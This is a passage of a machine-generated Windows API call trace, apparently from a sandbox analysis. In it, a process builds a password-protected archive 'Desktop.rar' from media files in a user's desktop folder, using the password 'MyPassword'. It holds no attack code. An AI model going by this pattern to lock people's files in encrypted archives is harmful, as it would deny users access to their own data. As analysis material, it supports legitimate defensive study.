Ptr=0x1ec0a6569c0, Size=0x7a) returned 0x1ec0a64a610 [0068.351] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0068.351] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a610 | out: hHeap=0x1ec0a590000) returned 1 [0068.353] GetTickCount () returned 0x26f98 [0068.353] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15968210801) returned 1 [0068.354] GetTickCount () returned 0x26f98 [0068.354] GetTickCount () returned 0x26f98 [0068.354] GetTickCount () returned 0x26f98 [0068.354] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.354] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.354] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.355] ResetEvent (hEvent=0x344) returned 1 [0068.355] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.357] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.357] ResetEvent (hEvent=0x344) returned 1 [0068.357] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.358] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.358] GetTickCount () returned 0x26fa8 [0068.358] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15968708638) returned 1 [0068.359] GetTickCount () returned 0x26fa8 [0068.359] GetTickCount () returned 0x26fa8 [0068.359] GetTickCount () returned 0x26fa8 [0068.359] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0068.359] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0068.359] GetFocus () returned 0x102a8 [0068.359] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0068.359] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0068.359] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0068.359] GetFocus () returned 0x102a8 [0068.359] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0068.360] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.360] ResetEvent (hEvent=0x33c) returned 1 [0068.360] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.418] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0068.418] ResetEvent (hEvent=0x33c) returned 1 [0068.418] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.419] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0068.419] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 1 [0068.419] GetMessageW (in: lpMsg=0xe414dd360, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd360) returned 1 [0068.419] GetFocus () returned 0x102a8 [0068.419] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd360) returned 1 [0068.419] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.419] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x1be8bc [0068.419] SetFilePointer (in: hFile=0x32c, lDistanceToMove=106, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x1be926 [0068.419] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0068.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.419] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0068.419] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0068.419] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0068.419] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0xc360, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0xc360, lpOverlapped=0x0) returned 1 [0068.421] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 1 [0068.421] GetMessageW (in: lpMsg=0xe414dd360, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd360) returned 1 [0068.421] GetFocus () returned 0x102a8 [0068.421] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd360) returned 1 [0068.421] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.422] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1829052, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x1be8bc [0068.422] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x1be8bc [0068.422] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef940 [0068.422] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef970 [0068.422] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef970, Size=0x48) returned 0x1ec0a657230 [0068.422] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0068.422] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef970 [0068.422] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef970, Size=0x48) returned 0x1ec0a6577d0 [0068.422] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0068.422] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a657230 | out: hHeap=0x1ec0a590000) returned 1 [0068.422] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef970 [0068.422] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa90 [0068.422] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefa90 | out: hHeap=0x1ec0a590000) returned 1 [0068.422] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef970 | out: hHeap=0x1ec0a590000) returned 1 [0068.422] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef940, Size=0x48) returned 0x1ec0a657460 [0068.422] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a657460, Size=0x7a) returned 0x1ec0a64a730 [0068.422] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64a733*, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64a733*, lpNumberOfBytesWritten=0xe414d8140*=0x6a, lpOverlapped=0x0) returned 1 [0068.422] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef940 [0068.422] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x6a) returned 0x1ec0a65a170 [0068.422] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0068.422] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a730 | out: hHeap=0x1ec0a590000) returned 1 [0068.422] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x1cac86 [0068.422] CloseHandle (hObject=0x350) returned 1 [0068.422] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.422] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.422] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0068.422] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.422] FindFirstFileW (in: lpFileName="t1UTy\\0jOnjZop-702GRg.png", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de08f90 [0068.423] FindClose (in: hFindFile=0x1ec0de08f90 | out: hFindFile=0x1ec0de08f90) returned 1 [0068.423] CreateFileW (lpFileName="t1UTy\\0jOnjZop-702GRg.png" (normalized: "c:\\users\\fd1hvy\\desktop\\t1uty\\0jonjzop-702grg.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0068.423] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.423] GetTickCount () returned 0x26fe6 [0068.423] GetLastError () returned 0x0 [0068.423] SetLastError (dwErrCode=0x0) [0068.423] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0068.423] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0068.423] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbe10, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0068.423] SetWindowTextW (hWnd=0x1028e, lpString=" 0%") returned 1 [0068.424] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0068.424] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0068.424] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0068.424] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.424] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0068.424] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="Sn MlQKdcUAQKuOMiL.mp4") returned 22 [0068.425] SetWindowTextW (hWnd=0x1028c, lpString="0jOnjZop-702GRg.png") returned 1 [0068.425] GetTickCount () returned 0x26fe6 [0068.425] UpdateWindow (hWnd=0x10284) returned 1 [0068.425] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0068.425] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0068.425] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0068.425] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0068.425] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2d, wMilliseconds=0x391)) [0068.425] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0068.425] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15975408717) returned 1 [0068.426] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x14384, lpOverlapped=0x0) returned 1 [0068.427] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d9193c4, nNumberOfBytesToRead=0xebc7c, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d9193c4*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0068.427] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.427] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.427] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef970 [0068.427] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa00 [0068.427] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefa00, Size=0x48) returned 0x1ec0a656f10 [0068.427] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0068.427] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa00 [0068.427] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefa00, Size=0x48) returned 0x1ec0a656fb0 [0068.427] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0068.427] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656f10 | out: hHeap=0x1ec0a590000) returned 1 [0068.427] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa00 [0068.427] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa90 [0068.427] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefa90 | out: hHeap=0x1ec0a590000) returned 1 [0068.427] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefa00 | out: hHeap=0x1ec0a590000) returned 1 [0068.427] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef970, Size=0x48) returned 0x1ec0a656a10 [0068.427] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656a10, Size=0x7a) returned 0x1ec0a64a070 [0068.427] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656fb0 | out: hHeap=0x1ec0a590000) returned 1 [0068.427] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a070 | out: hHeap=0x1ec0a590000) returned 1 [0068.428] GetTickCount () returned 0x26fe6 [0068.428] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15975707022) returned 1 [0068.429] GetTickCount () returned 0x26fe6 [0068.429] GetTickCount () returned 0x26fe6 [0068.429] GetTickCount () returned 0x26fe6 [0068.429] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xe414dd168 | out: ppv=0xe414dd168*=0x1ec0bfef970) returned 0x0 [0068.430] TaskbarList:ITaskbarList3:SetProgressState (This=0x1ec0bfef970, hwnd=0x10284, tbpFlags=2) returned 0x0 [0068.430] TaskbarList:ITaskbarList3:SetProgressValue (This=0x1ec0bfef970, hwnd=0x10284, ullCompleted=0x1dde8b, ullTotal=0x4f8c9e) returned 0x0 [0068.431] TaskbarList:IUnknown:Release (This=0x1ec0bfef970) returned 0x0 [0068.431] GetLastError () returned 0x36b7 [0068.431] SetLastError (dwErrCode=0x36b7) [0068.431] GetDlgItem (hDlg=0x10284, nIDDlgItem=157) returned 0x102a6 [0068.431] GetDlgItem (hDlg=0x10284, nIDDlgItem=152) returned 0x102a4 [0068.431] GetWindowTextW (in: hWnd=0x102a4, lpString=0xe414dbd30, nMaxCount=2560 | out: lpString=" 31%") returned 5 [0068.431] SetWindowTextW (hWnd=0x102a4, lpString=" 37%") returned 1 [0068.431] GetLastError () returned 0x0 [0068.431] SetLastError (dwErrCode=0x0) [0068.432] GetDlgItem (hDlg=0x10284, nIDDlgItem=164) returned 0x102a0 [0068.432] GetWindowTextW (in: hWnd=0x102a0, lpString=0xe414dbd30, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0068.432] SetWindowTextW (hWnd=0x102a0, lpString=" 95%") returned 1 [0068.432] SendMessageW (hWnd=0x102a6, Msg=0x402, wParam=0x25, lParam=0x0) returned 0x1f [0068.432] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.432] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.432] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.432] ResetEvent (hEvent=0x344) returned 1 [0068.432] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.434] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.434] ResetEvent (hEvent=0x344) returned 1 [0068.434] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.437] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.437] ResetEvent (hEvent=0x344) returned 1 [0068.437] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.439] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.439] GetTickCount () returned 0x26ff6 [0068.439] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15976789374) returned 1 [0068.439] GetTickCount () returned 0x26ff6 [0068.439] GetTickCount () returned 0x26ff6 [0068.439] GetTickCount () returned 0x26ff6 [0068.439] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0068.439] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0068.439] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.439] ResetEvent (hEvent=0x33c) returned 1 [0068.440] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.440] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0068.440] ResetEvent (hEvent=0x33c) returned 1 [0068.440] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.441] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0068.441] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0068.441] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.441] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x1cac86 [0068.441] SetFilePointer (in: hFile=0x32c, lDistanceToMove=109, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x1cacf3 [0068.441] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0068.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.441] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0068.441] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0068.441] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0068.442] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x14460, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x14460, lpOverlapped=0x0) returned 1 [0068.443] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0068.443] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.443] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1879174, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x1cac86 [0068.443] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x1cac86 [0068.443] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa00 [0068.443] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef970 [0068.443] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef970, Size=0x48) returned 0x1ec0a6577d0 [0068.443] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0068.443] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef970 [0068.443] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef970, Size=0x48) returned 0x1ec0a656d30 [0068.443] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0068.443] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0068.443] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef970 [0068.443] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa90 [0068.443] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefa90 | out: hHeap=0x1ec0a590000) returned 1 [0068.443] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef970 | out: hHeap=0x1ec0a590000) returned 1 [0068.443] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefa00, Size=0x48) returned 0x1ec0a6577d0 [0068.443] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6577d0, Size=0x7a) returned 0x1ec0a64a8e0 [0068.443] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64a8e3*, nNumberOfBytesToWrite=0x6d, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64a8e3*, lpNumberOfBytesWritten=0xe414d8140*=0x6d, lpOverlapped=0x0) returned 1 [0068.443] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa90 [0068.443] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x6d) returned 0x1ec0a659670 [0068.443] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656d30 | out: hHeap=0x1ec0a590000) returned 1 [0068.443] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a8e0 | out: hHeap=0x1ec0a590000) returned 1 [0068.443] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x1df153 [0068.444] CloseHandle (hObject=0x350) returned 1 [0068.444] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.444] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.444] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0068.444] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.444] FindFirstFileW (in: lpFileName="t1UTy\\P4m7gaW ZT.flv", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09050 [0068.444] FindClose (in: hFindFile=0x1ec0de09050 | out: hFindFile=0x1ec0de09050) returned 1 [0068.444] CreateFileW (lpFileName="t1UTy\\P4m7gaW ZT.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\t1uty\\p4m7gaw zt.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 